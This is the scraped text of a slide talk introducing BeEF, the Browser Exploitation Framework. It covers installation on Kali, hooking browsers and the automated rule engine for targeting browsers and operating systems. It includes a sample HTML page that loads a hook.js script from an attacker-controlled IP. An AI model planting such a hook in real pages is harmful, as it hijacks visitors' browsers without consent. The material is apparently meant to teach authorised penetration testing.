Intro to BeEF
Chad Hollman Analyst, County of Sacramento Department of Technology
Intro to BeEF Chad Hollman Analyst, County of Sacramento Department - - PowerPoint PPT Presentation
Intro to BeEF Chad Hollman Analyst, County of Sacramento Department of Technology What is BeEF? Installing BeEF Logging into BeEF Hooking your first browser Maintaining Persistence Automating BeEF What is BeEF? Installing BeEF Logging
Chad Hollman Analyst, County of Sacramento Department of Technology
BeEF is short for the Browser Exploitation Framework.
I am no expert in BeEF
Before using, make sure you have permission
pre-reqs
update kali
install beef
install beef
install beef
install beef
update the default username and password
then launch beef
then launch beef
navigate to the ui/panel link in your browser
<html> <head> <title>Fish</title> <script src=”http://192.168.1.51:3000/hook.js”></script> </head> <body> Banana </body> </html>
using the beef automated rule engine (are) you can run commands anytime a hooked browser becomes available
using the beef automated rule engine (are) you can run commands anytime a hooked browser becomes available so instead of waiting at the beef user interface, for a hooked browser to come online, you can write an automated rule to execute a number of commands instead
using the beef automated rule engine (are) you can run commands anytime a hooked browser becomes available so instead of waiting at the beef user interface, for a hooked browser to come online, you can write an automated rule to execute a number of commands instead rules can be based on information taken from when the hook is first created, ie only run when a firefox browser is launched and only execute firefox vulnerable payloads
using the beef automated rule engine (are) you can run commands anytime a hooked browser becomes available so instead of waiting at the beef user interface, for a hooked browser to come online, you can write an automated rule to execute a number of commands instead rules can be based on information taken from when the hook is first created, ie only run when a firefox browser is launched and only execute firefox vulnerable payloads rules can also be chained, so once one command is executed, another can be executed thereafter
configure delay target a specific operating system
[‘Linux’, ‘Windows’, ‘OSX’, ‘Android’, ‘iOS’, ‘Blackberry’, ‘ALL’]
target specific browsers
[‘FF’, ‘C’, ‘IE’, ‘O’, ‘ALL’]
provide matching options
[‘<’, ‘<=’, ‘==’, ‘>=’, ‘>’, ‘ALL’, ‘Vista’, ‘XP’]
multiple configs
configuring the automated rule engine
hollmanchad@gmail.com @gh0st